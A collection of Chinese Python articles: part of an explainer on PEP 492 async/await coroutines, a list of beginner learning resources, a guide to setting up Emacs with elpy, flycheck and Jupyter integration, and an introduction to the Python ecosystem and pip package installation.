OK，回到主题，协程就是一种可以在代码的各种预定义位置暂停和恢复执行的函数，它避免了无意义的调度，由此提高代码性能。而子程序是一种特殊的协同程序，它只有单一入口，通过回调来完成执行。Python 的协程「现有的以生成器为基础的协程和新提出的协程」不是一般意义上的协程，因为在执行暂停时它们只能将控制权转给调用者，而不是像常见的那样将控制权转给别的协程。辅之以事件循环，协程可用于异步处理，尤其是在 I / O 中。

Python 当前支持的协程基于 PEP342 增强型生成器，于 Python 2.5 版本开始采用。该 PEP 将 yield 语句改为表达式，并为生成器增加了一些新的方法 「 send() ,  throw() , and  close() 」 ，同时确保 close() 方法在生成器进入垃圾回收阶段时得到调用。该功能在 Python 3.3 版本的 PEP 380 中得到进一步增强，它通过增加 yield 表达式，允许生成器将部分功能授予另一个生成器「即子生成器」。

以上方法都使协程依赖于生成器，这使得在代码段何处进行异步调用变得令人困惑，且颇受限制。尤其，with 和 for 声明在理论上可以将协程用于异步调用，但 Python 语法在那些位置不允许使用 yield 表达式，因此无法进行异步调用。此外，如果协程的重构将 yield 或 yield from 从函数中移除 ，它就不再被视为协程，这会导致一些不明显的错误； asyncio 模块通过 @asyncio.coroutine 装饰器来弥补这方面的不足。

PEP 492 旨在解决以上所有问题。其想法源于 Yury Selivanov 在四月中旬提出的 python-ideas 邮件列表，该想法受到很多人热情追捧。在5月5日，Guido van Rossum 同意将它添加在 Python 3.5 版本中。不仅如此，5月12日就得到执行。一切都进展迅速，尽管最终该方法还是在 python-idea 和 python-dev 方面引起热情讨论。

从语法角度看，变化相当简单：

    async def read_data(db):
        data = await db.fetch('SELECT ...')
    ...

这个例子「来源于 PEP」将使用新的 async def 构造函数创建一个 read_data() 协程。 await 表达式将暂停执行 read_data()，直到 db.fetch()  await able 完成并返回其结果。await 类似于 yeild from ，但它会确保其参数 awaitable。

此外还有几种不同类型的 awaitable。一种是本地的协程对象，在调用本地协同程序后的返回为 awaitable，还有基于生成器且有  @types.coroutine 装饰的协程。还有一种是未来对象，它代表着在未来完成的操作，也是 awaitable。__await __()方法在 awaitable 的对象都会出现。

然而，向一种语言添加新的关键字时会出现这样的问题：任何与关键字名字相同的变量都会成为语法错误。为了避免该问题，Python 3.5 和 3.6 版本将 “softly deprecate “ 「温柔弃用」 async 和 await 为变量名，而不将他们当做语法错误。解析器会跟踪 async def 块，并将块内的关键字区别对待，从而使现有的使用继续有效。

新的特性中，异步还有两种新用途：异步内容管理器(with)和迭代器(for)。在协程里，这两种构造函数的示例如下：

    async def commit(session, data):
    ...

    async with session.transaction():
        ...
        await session.update(data)
        ...
        ...
        async for row in Cursor():
            print(row)

异步内容管理器必须实现两个异步方法，__aenter __()和__aexit __()，他们都返回 awaitables；异步迭代器须实现__aiter __()和__anext __()。这些方法都是现有的同步内容管理器和迭代器的异步版本。

此前主要的讨论是延期执行的 “cofunction” 功能 PEP 3152 是否会是更好的起点，该 PEP 的作者 Greg Ewing 提出了此问题。但有很多人认为 Selivanov 提议的语法更适合 codef，cocall ，也有人更加赞同 Ewing 的提议。这样来来回回的争论了很多次。有一些人认为cofunction 的语法在处理某些情况时相当复杂并且不符合 Python 语言的特性。后来 Van Rossum 总结了 cofunctions 语法存在的问题，并拒绝采纳该方法。

此外，还有几点关于附加异步功能的建议值得讨论，但并不紧急。对于关键词的讨论有些本末倒置。 await 的优先级问题也讨论了一段时间，结果是，不同于 yeild 和 yeild from 仅有最低优先级，await 具有较高的优先级。

但 Mark Shannon 抱怨说，实现 Selivanov 的建议并不需要增加新的语法。其他人也提出了类似的意见，但 Selivanov 或其他支持者并未对此提出反驳。关键在于简化协同程序的编写。除此之外，Van Rossum 希望协同程序暂停的位置能够显而易见，查看代码就能发现：

新的语法才是 PEP 存在的意义。我希望通过句法结构就能判断出协程的悬停点。



在两三周后，发布了多个版本的 PEP ，引起了诸多辩论。Selivanov 耐心地解释他的想法，并根据反馈意见不断修正自己的想法。异步协程特性对 Python 语言的未来很可能至关重要，整个探索过程都很快，很顺遂。不过，Python 开发者们将这些想法付诸实践很可能还需要一段时间。

原文地址：Python coroutines with async and await

参考文章: 对Python中yield和协程的理解

本文系 OneAPM 工程师编译整理。想阅读更多技术文章，请访问 OneAPM 官方博客。


 Python初学者的资源总结

作者：MiracleWong

来源： Python初学者的资源总结



                    
之前看到了 汪汪汪不是我的语言 在 喵在野 的基础上写的这篇文章《Python 零基础入门资料整理（更新版）》，感觉实在是太简陋了。虽说是针对初学者的Python零基础入门，但是很多的适合初学者的网站、教程、书籍、视频都根本没有囊括进去。

看看自己的收藏夹，决定拿出来，补充一下，将我们的Python资源尽可能的补充完整。当然很多的资源可能和上面两位的博文有一些重复的地方。


图文教程：



	
Python教程  by @廖雪峰


	
Crossin的编程教室 微信公众号：crossincode by @Crossin


	
Python快速教程 by @Vamei


	
零基础学Python，GitHub地址 by @老齐Py


	
Python学习笔记(第二版) by @qyuhen 



个人点评：

我是跟着“Crossin的编程教室”的微信公众号每天学习一课来学习Python的，当时的动力是据说“Python女神”也在学完习，后来也看过廖雪峰老师的教程，Vamei和老齐Py的没有看过。


网站教程:



	
《Python入门》 and 《Python进阶》  by @廖雪峰 from 慕课网


	
《"Python研发工程师"的技能树》 from 实验楼


	
《Learn to program in Python》 from Codecademy


	《Learn Python the hard way》

	
Crossin的编程教室 by @Crossin (将课程分门别类了)



视频教程：



	《疯狂的Python：快速入门精讲》

	《玩转Python教程》

	《零基础入门学Python》



经典入门书籍：


中文书籍



	《Head First Python（中文版）》

	《Python基础教程（第2版·修订版）》

	《笨办法学Python（第三版）》

	《简明Python教程》

	《Python编程实践》



英文书籍



	25本免费的Python电子书

	9本免费的Python编程书



论坛or网站板块：



	Python开发者门户

	豆瓣小组：Python编程

	伯乐在线

	啄木鸟社区

	Web开发者



可关注的网站：



	
Pythoner —— “你像从前一样”的Python学习笔记

	
pythontutor —— 一个可视化的Python网站，可以看出你的代码的执行过程。初学者的好帮手！



可关注的微博：



	
@Python开发者 

	@一人一Python

	@Python传送门

	@老齐Py

	@爱可可-爱生活



日报



	Python日报



最后的最后，亮出我们的口号：人生苦短，我用Python！


 Emacs：最好的Python编辑器？

作者：EarlGrey

来源： Emacs：最好的Python编辑器？



                    

本文是realpython.com继《将Sublime Text 3打造为Python全栈开发环境及》和《Vim与Python真乃天作之合》，又一篇关于如何配置Python IDE的文章。这一次，主角变成了与Vim同样享有神器之称的Emacs编辑器。译者之前没有接触过Emacs，但是看完这篇文章之后，觉得与Vim和Sublime Text 3相比，最出彩的一个地方就是可以和IPython与Jupyter Notebook进行集成。按照本文的介绍配置完之后，确实会让Emacs成为一个异常强大的Python IDE。

译文链接：http://codingpy.com/article/emacs-the-best-python-editor/



安装与基础

安装

Emacs安装不是本文的重点，因此，这里推荐大家参考ErgoEmacs网站提供的安装指南，完成在Linux、Mac或Windows平台的基本安装。安装完成之后，打开应用，你就会看到默认设置下地Emacs界面。



Emacs基础

同样，本文也不会过多介绍Emacs使用的基础知识。学习Emacs最容易的方法，就是通过其自带的教程。本文介绍的内容并不要求你知道如何使用Emacs；相反，本文的每一部分讲述的都是你学习基础知识后可以使用的。

你可以使用方向键将光标移动到标有“Emacs Tutorial”字样的地方，然后按回车键，就可以打开自带教程。然后，你将会看到下面这段话：

Emacs commands generally involve the CONTROL key (sometimes labeled
CTRL or CTL) or the META key (sometimes labeled EDIT or ALT).  Rather than
write that in full each time, we'll use the following abbreviations:

 C-<chr>  means hold the CONTROL key while typing the character <chr>
    Thus, C-f would be: hold the CONTROL key and type f.
 M-<chr>  means hold the META or EDIT or ALT key down while typing <chr>.
    If there is no META, EDIT or ALT key, instead press and release the
    ESC key and then type <chr>.  We write <ESC> for the ESC key.


接下来，本文还会继续出现类似C-x C-s等按键命令。这些命令表示，要同时按下Control键和x键，然后再同时按下Control和s键。这正是使用Emacs编辑器的基本形式。了解更多基础知识，你可以学习自带教程或者GNU网站提供的这个教程Guided Tour of Emacs。

配置与插件包（packages）

Emacs的好处之一，就是配置简单。Emacs配置的核心则是初始化文件（Initialization File）—— init.el。

在Unix环境下，这个文件应该放置在$HOME/.emacs.d/init.el路径。

$ touch ~/.emacs.d/init.el


同时，在Windows平台，如果没有设置HOME环境变量，该文件应该放置在C:/.emacs.d/init.el路径。

本文将会与大家分享许多配置示例。那么如果你想继续跟随本文进行配置的话，请先创建init文件。如果不想的话，可以在结语部分直接查看最终的完整init文件。



插件包（packages）可以对Emacs进行自定义，需要从不同的代码仓库获取。其中，最主要的Emacs插件包仓库是MELPA仓库。本文中提到的所有插件包都将从该仓库获取并安装。

样式（主题&更多）

首先，下面是一个插件包安装示例代码，其中安装了一个主题插件。

;; init.el --- Emacs configuration

;; INSTALL PACKAGES
;; --------------------------------------

(require 'package)

(add-to-list 'package-archives
       '("melpa" . "http://melpa.org/packages/") t)

(package-initialize)
(when (not package-archive-contents)
  (package-refresh-contents))

(defvar myPackages
  '(better-defaults
    material-theme))

(mapc #'(lambda (package)
    (unless (package-installed-p package)
      (package-install package)))
      myPackages)

;; BASIC CUSTOMIZATION
;; --------------------------------------

(setq inhibit-startup-message t) ;; hide the startup message
(load-theme 'material t) ;; load material theme
(global-linum-mode t) ;; enable line numbers globally

;; init.el ends here


配置示例代码的第一部分是;; INSTALL PACKAGES，安装了better-defaults和material-theme共两个插件包。better-defaults插件集合了一系列对Emacs默认配置的修改，为我们开始进一步自定义奠定了良好的基础。material-theme插件则提供了一组自定义的样式。

主题插件中，我个人更喜欢的就是这个material-theme插件，所以本文中我们将一直使用这个插件。



第二部分则是;; BASIC CUSTOMIZATION（基本自定义）。


	禁用启动消息（即显示所有教程信息的页面）。在你更熟悉Emacs之前，你可以不禁用。


	加载material主题。


	启用全局显示行号




全局启用意味着这个功能对于Emacs打开的所有缓冲区（buffers）都适用。所以，如果你打开了Python文件、markdown文件或者是纯文本文件，它们都将显示行号。你还可以根据不同的模式（mode）启用不同的功能，——例如，python模式、markdown模式和纯文本模式。稍后我们将Emacs配置为Python IDE时还会讲到。

现在我们已经有了一个完整的基础配置文件，可以重启Emacs，观察变化。如果你将init.el文件放在了正确地路径中，Emacs将会自动加载该文件。

另外，你也可以在命令行输入emacs -q --load <path to init.el>命令，启动Emacs。配置文件加载完成后，我们之前见到的Emacs窗口会变得更好看：



下面这张图展示了一些Emacs本身自带的基础功能——包括简单的文件检索和Split Layouts。



我最喜欢的一个Emacs基础功能，就是可以进行快速的递归文本检索（recursive grep search）—— M-x rgrep。举个例子，假如你想在某个文件夹下以.md为扩展名的文件中，查找所有出现过python一词的段落：



完成基础配置之后，我们可以开始将Emacs配置为Python开发环境啦！

Elpy ——Python开发

Emacs自带的python模式（python.el）支持缩进和语法高亮功能。。但是如果要与专门针对Python设计的IDE竞争的话，我们肯定还需要添加更多的功能。elpy（Emacs Lisp Python Environment）插件可以说为我们提供了Python开发环境所需要的几乎全部功能，包括：


	自动缩进


	语法高亮


	自动补全


	语法检查


	REPL集成


	虚拟环境支持，以及


	更多其他功能




要想安装并启用elpy插件，我们需要进行一些配置，并使用你自己喜欢的方式（例如，pip或conda）安装flake8和jedi这两个Python工具包。

下面的配置可以安装elpy插件包：

(defvar myPackages
  '(better-defaults
    elpy ;; add the elpy package
    material-theme))


现在我们这样启用这个插件：

(elpy-enable)


完成上面的配置之后，我们可以重启Emacs，并打开一个Python文件，就可以查看新的配置是否生效。



上面这幅图中显示了以下几种功能：


	自动缩进


	语法高亮


	语法检查（第三行的错误提示）


	自动补全（第九行显示的列表方法）




另外，假设我们想要运行这个脚本。在Python自带的IDLE或Sublime Text中，你可以点击一个运行当前脚本的按钮。Emacs编辑器也是一样，不过我们只需要Python缓冲区按下C-c C-c即可。



通常，我们会希望运行一个虚拟环境，然后再使用虚拟环境中安装的工具包来执行代码。要想在Emacs中使用虚拟环境，我们需要输入M-x pyvenv-activate，然后根据提示操作。输入M-x pyvenv-deactivate就可以关闭虚拟环境。Elpy插件还提供了调试虚拟环境、处理elpy插件可能出现的问题的接口。输入M-x elpy-config，就会出现下面的信息，其中包含了有价值的调试信息。



到这里，我们已经介绍完在Emacs中实现Python IDE基础功能的方法。接下来，我们来进一步完善Emacs的配置。

额外的Python功能

除了上面介绍的基本IDE功能之外，Emacs还针对Python语言提供了一些额外的功能。在这一部分，我们无法介绍全部的额外功能，但是肯定会涉及PEP8、IPython/Jupyter集成。不过在此之前，我们要快速梳理一下语法检查配置。

更好的语法检查（Flycheck v. Flymake）

默认情况下，安装了Elpy插件的Emacs提供一个名叫Flymake的语法检查插件。但是，我们还可以选择另外一个名叫Flycheck的插件，后者支持实时语法检查。幸运地是，从Flymake切换至Flycheck非常简单：

(defvar myPackages
  '(better-defaults
    elpy
    flycheck ;; add the flycheck package
    material-theme))


以及

(when (require 'flycheck nil t)
  (setq elpy-modules (delq 'elpy-module-flymake elpy-modules))
  (add-hook 'elpy-mode-hook 'flycheck-mode))


现在，我们就可以在编辑Python代码的同时，获得实时代码检查反馈了：



遵循PEP8规范

不管你喜不喜欢，PEP8都不会消失。如果你想遵循PEP8标准的全部或部分规范，你大概希望能够实现自动化合规。autopep8插件就是解决之道。这个插件与Emacs无缝集成，因此当你保存文件时——C-x C-s——autopep8插件就会自动格式化代码，并纠正所有不符合PEP8标准的错误（排除你不希望检查的错误）。

首先，你需要通过你喜欢的方式安装autopep8这个Python工具包，然后添加下面的Emacs配置代码：

(defvar myPackages
  '(better-defaults
    elpy
    flycheck
    material-theme
    py-autopep8)) ;; add the autopep8 package

以及

(require 'py-autopep8)
(add-hook 'elpy-mode-hook 'py-autopep8-enable-on-save)


现在我们保存Python示例文件，Autopep8插件就会自动纠正出现的错误：



IPython/Jupyter集成

接下来这个功能尤其强大：将Emacs与IPython REPL和Jupyter Notebooks集成。首先，我们将Emacs中标准的Python REPL集成替换为IPython版本:

(elpy-use-ipython)


现在如果我们按下C-c C-c再次运行Python代码，我们使用的将是IPython REPL：



尽管做到目前这样已经非常有用了，但是真正的神奇之处还在Emacs与Jupyter notebook之间的集成。这里，我们假设你已经知道如何启动Jupyter Notebook服务器。要实现前面提到的集成，我们只需要再添加一些配置即可：

(defvar myPackages
  '(better-defaults
    ein ;; add the ein package (Emacs ipython notebook)
    elpy
    flycheck
    material-theme
    py-autopep8))


Jupyter提供的notebook网络接口很好，但是要求我们离开Emacs编辑器才能使用：



不过，我们可以通过在Emacs中直接连接notebook服务器，并与服务器进行直接交互的方式，就可以完成网络接口所提供的功能。



其他Emacs功能

前面我们已经介绍了所有Python IDE应具备的基础功能（以及一些非常棒的额外功能），但是还有一些功能也是IDE需要支持的。首先就是git集成。

Git集成（Magit）

Magit是MELPA仓库中非常受欢迎的一个插件包，几乎每一个使用Git的Emacs用户都会安装这个插件。这个插件极其强大，功能也特别全面，超出了本文的范围。不过还好Mastering Emacs网站上有一篇介绍Magit的好文。下面这张图就摘自Mastering Emacs网站的那篇文章，展示了Emacs中git集成的效果：



其他Emacs模式

与使用只针对Python的IDE相比，使用Emacs的一大好处就是它还能够支持除Python外的其他语言。工作的时候，我通常要使用Python、Golang、JavaScript、Markdown、JSON以及其他语言。因此，只使用Emacs编辑器并且完美支持所有这些语言将会大大提高工作效率。Emacs编辑器支持以下语言：


	Python


	Golang


	Ruby


	Puppet


	Markdown


	Dockerfile


	YAML


	Web (HTML/JS/CSS)


	SASS


	NginX Config


	SQL




在终端使用Emacs按键组合

学会使用Emacs之后，你会希望在其他地方也能够使用Emacs按键组合。只需要在bash提示符之后输入set -o emacs即可实现。但是，Emacs的一个强大之处就是你可以在终端下以headless模式运行Emacs编辑器。这也是我本人的默认终端环境。要开启headless模式，只需要输入emacs -nw即可。

结语

正如你所见，Emacs明显是最好的编辑器。老实说，市面上还有其他很好的Python IDE可供选择，但是我会毫不犹豫地推荐你学习Vim或Emacs，因为基于这两个编辑器配置的开发环境无疑是功能最为多样化的。最后，为大家提供本文中完整的Emacs配置：

;; init.el --- Emacs configuration

;; INSTALL PACKAGES
;; --------------------------------------

(require 'package)

(add-to-list 'package-archives
       '("melpa" . "http://melpa.org/packages/") t)

(package-initialize)
(when (not package-archive-contents)
  (package-refresh-contents))

(defvar myPackages
  '(better-defaults
    ein
    elpy
    flycheck
    material-theme
    py-autopep8))

(mapc #'(lambda (package)
    (unless (package-installed-p package)
      (package-install package)))
      myPackages)

;; BASIC CUSTOMIZATION
;; --------------------------------------

(setq inhibit-startup-message t) ;; hide the startup message
(load-theme 'material t) ;; load material theme
(global-linum-mode t) ;; enable line numbers globally

;; PYTHON CONFIGURATION
;; --------------------------------------

(elpy-enable)
(elpy-use-ipython)

;; use flycheck not flymake with elpy
(when (require 'flycheck nil t)
  (setq elpy-modules (delq 'elpy-module-flymake elpy-modules))
  (add-hook 'elpy-mode-hook 'flycheck-mode))

;; enable autopep8 formatting on save
(require 'py-autopep8)
(add-hook 'elpy-mode-hook 'py-autopep8-enable-on-save)

;; init.el ends here


希望这些配置能够激起你学习并使用Emacs的热情！


 一篇文章入门Python生态系统

作者：EarlGrey

来源： 一篇文章入门Python生态系统



                    

译者按：原文写于2011年末，虽然文中关于Python 3的一些说法可以说已经不成立了，但是作为一篇面向从其他语言转型到Python的程序员来说，本文对Python的生态系统还是做了较为全面的介绍。文中提到了一些第三方库，但是Python社区中强大的第三方库并不止这些，欢迎各位Pytonistas补充。

原文链接：http://mirnazim.org/writings/python-ecosystem-introduction/
译文链接：http://codingpy.com/article/python-ecosystem-introduction/



开发者从PHP、Ruby或其他语言转到Python时，最常碰到的第一个障碍，就是缺乏对Python生态系统的全面了解。开发者经常希望能有一个教程或是资源，向他们介绍如何以大致标准的方式完成大部分的任务。

本文中的内容，是对我所在公司内部维基百科的摘录，记录了面向网络应用开发的Python生态系统基础知识，目标受众则是公司实习生、培训人员以及从其他语言转型到Python的资深开发者。

文中所列的内容或资源是不完整的。我也打算把它当成一项一直在进行中的工作（work in perpetual progress）。希望经过不断的增补修订，本文会成为Python生态系统方面的一篇详尽教程。

目标受众

本文的目的，不是教大家Python编程语言。读完这篇教程，你也不会瞬间变成一名Python高手。我假设大家已经有一定的Python基础。如果你是初学者，那么别再继续读下去了。先去看看Zed Shaw所写的《笨办法学Python》，这是本质量很高的免费电子书，看完之后再回头阅读这篇教程吧。

我假设你们使用的是Linux（最好是Ubuntu/Debian）或是类Linux操作系统。为什么？因为这是我最熟悉的系统。我在Windows平台或Mac OS X平台上，没有专业的编程经验，只是测试过不同浏览器的兼容性。如果你用的是这两个平台，那么请参考下面的资料安装Python。


	Python 101: Setting up Python on Windows


	Official documentation for Python on Windows


	Official documentation for Python on Mac OS X




你还可使用搜索引擎，查找你使用的操作系统中安装Python的最好方法。如果你有什么疑问，我强烈建议你去Stack Overflow平台上提问。

该选择哪个版本？

Python 2.x是目前的主流；Python 3是崭新的未来。如果你不关心这个问题，可以直接跳到下面的Python安装部分。（译者注：原文作者写这篇文章时是2011年，当时Python 3才发展没几年。）

刚接触Python的话，安装3.x版本看上去是很自然的第一步，但是这可能并不是你想要的。

目前有两个积极开发中的Python版本——2.7.x与3.x（也被称为Python 3， Py3K和Python 3000）。Python 3是一个不同于Python 2的语言。二者在语义、语法上，既存在细微的区别，又有着截然不同的一面。截至今天，Python2.6/2.7是安装数量和使用度最高的版本。许多主流的Python库、框架、工具都没有做到100%兼容Python 3。

因此，最稳妥的选择就是使用2.x版（更准确的说，即2.7.x）。务必只在你需要或者完全了解情况的前提下，才选择Python 3。

Python 3 Wall of Shame网站记录了Python 3对各种库的兼容情况。在使用Python 3之前，仔细查阅下这个网站的内容。

译者注：现在，主流第三方库和框架对Python 3的支持度已经很高。根据py3readiness网站的统计，360个最受欢迎的Python包中已经有315个支持Python 3。具体的支持情况，可以查看这个网站。一定程度上说，Python 3已经成为新的主流。



使用哪种虚拟机

Python的解释器，又叫做Python虚拟机，它有多种不同的实现。其中，主流实现方式是CPython，装机量也最高，同时也是其他虚拟机的参考实现。

PyPy是利用Python语言实现的Python；Jython则使用Java实现，并运行在Java虚拟机之上；IronPython是用.NET CLR实现的Python。

除非真的有重大理由，否则应该选择CPython版本的实现，避免出现意外情况。

如果这些有关版本和虚拟机的唠叨话让你读了头疼，那你只需要使用CPython 2.7.x即可。

Python安装

大部分Linux/Unix发行版和Mac OS X都预装了Python。如果你没有安装或者已有的版本比较旧，那么你可以通过下面的命令安装2.7.x版：

Ubuntu/Debian及其衍生系统

$ sudo apt-get install python2.7


sudo是类Unix系统中的一个程序，可以让用户以其他用户的权限（通常是超级用户或root用户）运行程序。

Fedora/Red Hat及类似系统

sudo yum install python2.7


在RHEL（Red Hat Enterprise Linux的缩写）平台上，你可能需要启用EPEL软件源（repositories），才能正常安装。

在本文后面的示例中，我会使用sudo程序；你应将其替换为自己版本中的相应命令或程序。

理解Python的包（package）

首先你需要了解的是，Python没有默认的包管理工具。事实上，Python语言中包的概念，也是十分松散的。

你可能也知道，Python代码按照模块（module）划分。一个模块，可以是只有一个函数的单个文件，也可以是包含一个或多个子模块的文件夹。包与模块之间的区别非常小，每个模块同时也可以视作一个包。

那么模块与包之间，到底有什么区别？要想解答这个问题，你首先要了解Python是如何查找模块的。

与其他编程环境类似，Python中也有一些函数和类（比如str，len和Exception）是存在于全局作用域（global scope，在Python中被称为builtin scope）的，其他的函数和类则需要通过import语句进行引用。例如：

>>> import os
>>> from os.path import basename, dirname

这些包就在你的文件系统中的某处，所以能被import语句发现。那么Python是怎么知道这些模块的地址？原来，在你安装Python虚拟机的时候，就自动设置了这些地址。当然平台不同，这些地址也就不一样。

你可以通过sys.path查看系统中的包路径。这是我的笔记本运行该命令之后的输出结果，系统是Ubuntu 11.10 Oneric Ocelot。

>>> import sys
>>> print sys.path
['',
 '/usr/lib/python2.7',
 '/usr/lib/python2.7/plat-linux2',
 '/usr/lib/python2.7/lib-tk',
 '/usr/lib/python2.7/lib-old',
 '/usr/lib/python2.7/lib-dynload',
 '/usr/local/lib/python2.7/dist-packages',
 '/usr/lib/python2.7/dist-packages',
 '/usr/lib/python2.7/dist-packages/PIL',
 '/usr/lib/python2.7/dist-packages/gst-0.10',
 '/usr/lib/python2.7/dist-packages/gtk-2.0',
 '/usr/lib/pymodules/python2.7',
 '/usr/lib/python2.7/dist-packages/ubuntu-sso-client',
 '/usr/lib/python2.7/dist-packages/ubuntuone-client',
 '/usr/lib/python2.7/dist-packages/ubuntuone-control-panel',
 '/usr/lib/python2.7/dist-packages/ubuntuone-couch',
 '/usr/lib/python2.7/dist-packages/ubuntuone-installer',
 '/usr/lib/python2.7/dist-packages/ubuntuone-storage-protocol']

这行代码会告诉你Python搜索指定包的所有路径，这个路径就存储在一个Python列表数据类型中。它会先从第一个路径开始，一直往下检索，直到找到匹配的路径名。这意味着，如果两个不同的文件夹中包含了两个同名的包，那么包检索将会返回其遇到的第一个绝对匹配地址，不会再继续检索下去。

你现在可能也猜到了，我们可以轻松地修改（hack）包检索路径，做到你指定的包第一个被发现。你只需要运行下面的代码：

>>> sys.path.insert(0, '/path/to/my/packages')

尽管这种做法在很多情况下十分有用，但是你必须牢记sys.path很容易被滥用。务必在必要时才使用这种方法，并且不要滥用。

site模块控制着包检索路径设置的方法。每次Python虚拟机初始化时，就会被自动引用。如果你想更详细地了解整个过程，可以查阅官方文档。

PYTHONPATH环境变量

PYTHONPATH是一个可以用来增强默认包检索路径的环境变量。可以把它看作是一个PATH变量，但是一个只针对Python的变量。它只是一些包含有Python模块的文件路径列表（不是sys.path所返回的Python列表），每个路径之间以：分隔。设置方法很简单，如下：

export PYTHONPATH=/path/to/some/directory:/path/to/another/directory:/path/to/yet/another/directory


在某些情况下，你不用覆盖已有的PYTHONPATH，只需要在开头或结尾加上新的路径即可。

export PYTHONPATH=$PYTHONPATH:/path/to/some/directory    # Append
export PYTHONPATH=/path/to/some/directory:$PYTHONPATH    # Prepend


PYTHONPATH、sys.path.insert`和其他类似的方法，都是hack小技巧，一般情况下最好不要使用。如果它们能够解决本地开发环境出现的问题，可以使用，但是你的生产环境中不应该依赖这些技巧。要取得同样的效果，我们还可以找到更加优雅的方法，稍后我会详细介绍。 

现在你明白了Python如何查找已安装的包，我们就可以回到一开始的那个问题了。Python中，模块和包的区别到底是什么？包就是一个或多个模块/子模块的集合，一般都是以经过压缩的tarball文件形式传输，这个文件中包含了：1. 依赖情况（如果有的话）；2.将文件复制到标准的包检索路径的说明；3. 编译说明——如果文件中包含了必须要经过编译才能安装的代码。就是这点区别。

第三方包（Third Party packages）

如果想利用Python进行真正的编程工作，你从一开始就需要根据不同的任务安装第三方包。

在Linux系统上，至少有3种安装第三方包的方法。


	使用系统本身自带的包管理器（deb, rpm等）


	通过社区开发的类似pip, easy_install等多种工具


	从源文件安装




这三种方法做的几乎是同一件事情，即安装依赖包，视情况编译代码，然后把包中模块复制到标准包检索路径。

尽管第二种和第三种方法在所有操作系统中的实现都一致，我还是要再次建议你查阅Stack Overflow网站的问答，找到你所使用系统中其他安装第三方包的方法。

去哪找第三方包？

在安装第三方包之前，你得先找到它们。查找包的方法有很多。


	你使用的系统自带的包管理器


	Python包索引（也被称为PyPI）


	各种源码托管服务，如Launchpad， Github， Bitbucket等。




通过系统自带的包管理器安装

使用系统自带的包管理器安装，只需要在命令行输入相应命令，或是使用你用来安装其他应用的GUI应用即可。举个例子，要在Ubuntu系统上安装simplejson（一个JSON解析工具），你可以输入下面的命令：

$ sudo apt-get install python-simplejson


通过pip安装

easy_install已经不太受开发者欢迎。本文将重点介绍easy_install的替代者——pip。

pip是一个用来安装和管理Python包的工具。它并不是一个Python虚拟机自带的模块，所以我们需要先安装。在Linux系统中，我一般会这样操作：

$ sudo apt-get install python-pip


在安装其他包之前，我总是会把pip升级到PyPI中的最新版本，因为Ubuntu默认源中的版本比PyPI的低。我这样升级pip。

$ sudo pip install pip --upgrade


现在，你可以通过运行run pip install package-name，安装任何Python包。所以，要安装simplejson的话，你可以运行以下命令：

$ sudo pip install simplejson


移除包也一样简单。

$ sudo pip uninstall simplejson


pip默认会安装PyPI上最新的稳定版，但是很多时候，你会希望安装指定版本的包，因为你的项目依赖那个特定的版本。要想指定包的版本，你可以这样做：

$ sudo pip install simplejson==2.2.1


你还会经常需要升级、降级或者重装一些包。你可以通过下面的命令实现：

$ sudo pip install simplejson --upgrade         # Upgrade a package to the latest version from PyPI
$ sudo pip install simplejson==2.2.1 --upgrade  # Upgrade/downgrade a package to a given version


接下来，假设你想安装某个包的开发版本，但是代码没有放在PyPI上，而是在版本控制仓库中，你该怎么办？pip也可以满足这个需求，但是在此之前，你需要在系统上安装相应的版本控制系统（VCS）。在Ubuntu平台，你可以输入下面的命令：

$ sudo apt-get install git-core mercurial subversion


安装好VCS之后，你可以通过下面的方式从远程仓库中安装一个包：

$ sudo pip install git+http://hostname_or_ip/path/to/git-repo#egg=packagename
$ sudo pip install hg+http://hostname_or_ip/path/to/hg-repo#egg=packagename
$ sudo pip install svn+http://hostname_or_ip/path/to/svn-repo#egg=packagename


从本地仓库中安装也同样简单。注意下面文件系统路径部分的三个斜杠（///）。

$ sudo pip install git+file:///path/to/local/repository


通过git协议安装时，请注意，你要像下面这样使用git+git前缀：

$ sudo pip install git+git://hostname_or_ip/path/to/git-repo#egg=packagename


现在，你可能在纳闷这些命令中的eggs是什么东西？目前你只需要知道，一个egg就是经zip压缩之后的Python包，其中包含了包的源代码和一些元数据。pip在安装某个包之前，会构建相关的egg信息。你可以打开代码仓库中的setup.py文件，查看egg的名字（几乎都会注明）。找到setup部分，然后看看有没有一行类似name="something"的代码。你找到的代码可能会和下面这段代码类似（来自simplejson包中的setup.py文件）。

setup(
    name="simplejson", # <--- This is your egg name
    version=VERSION,
    description=DESCRIPTION,
    long_description=LONG_DESCRIPTION,
    classifiers=CLASSIFIERS,
    author="Bob Ippolito",
    author_email="bob@redivi.com",
    url="http://github.com/simplejson/simplejson",
    license="MIT License",
    packages=['simplejson', 'simplejson.tests'],
    platforms=['any'],
    **kw)


假如没有setup.py文件呢？你该怎么查找egg的名字？答案是，你根本不用去找。只要把包的源代码拷贝到你的项目文件夹，之后就可以和你自己写的代码一样引用和使用啦。

--user参数

以上所有的例子，都是在系统层面安装指定的包。如果你使用pip install时，加上--user这个参数，这些包将会安装在该用户的'~/.local`文件夹之下。例如，在我的机器上，运行效果是这样的：

$ pip install --user markdown2
Downloading/unpacking markdown2
  Downloading markdown2-1.0.1.19.zip (130Kb): 130Kb downloaded
  Running setup.py egg_info for package markdown2

Installing collected packages: markdown2
  Running setup.py install for markdown2
    warning: build_py: byte-compiling is disabled, skipping.

    changing mode of build/scripts-2.7/markdown2 from 664 to 775
    warning: install_lib: byte-compiling is disabled, skipping.


    changing mode of /home/mir/.local/bin/markdown2 to 775
Successfully installed markdown2
Cleaning up...


注意markdown2这个Python包的安装路径（/home/mir/.local/bin/markdown2）

不在系统层面安装所有的Python包有很多理由。稍后在介绍如何为每个项目设置单独、孤立的Python环境时，我会具体说明。

从源文件安装

从源文件安装Python包，只需要一行命令。将包文件解压，然后运行下面的命令：

cd /path/to/package/directory
python setup.py install


尽管这种安装方法与其他的方法没什么区别，但是要记住：pip永远是安装Python包的推荐方法，因为pip可以让你轻松升级/降级，不需要额外手动下载、解压和安装。从源文件安装时如果其他方法都行不通时，你的最后选择（一般不会存在这种情况）。

安装需要编译的包

虽然我们已经介绍了大部分与包安装相关的内容，仍有一点我们没有涉及：含有C/C++代码的Python包在安装、使用之前，需要先编译。最明显的例子就是数据库适配器（database adapters）、图像处理库等。

尽管pip可以管理源文件的编译，我个人更喜欢通过系统自带的包管理器安装这类包。这样安装的就是预编译好的二进制文件。

如果你仍想（或需要）通过pip安装，在Ubuntu系统下你需要执行下面的操作。

安装编译器及相关工具：

$ sudo apt-get install build-essential


安装Python开发文件（头文件等）：

$ sudo aptitude install python-dev-all


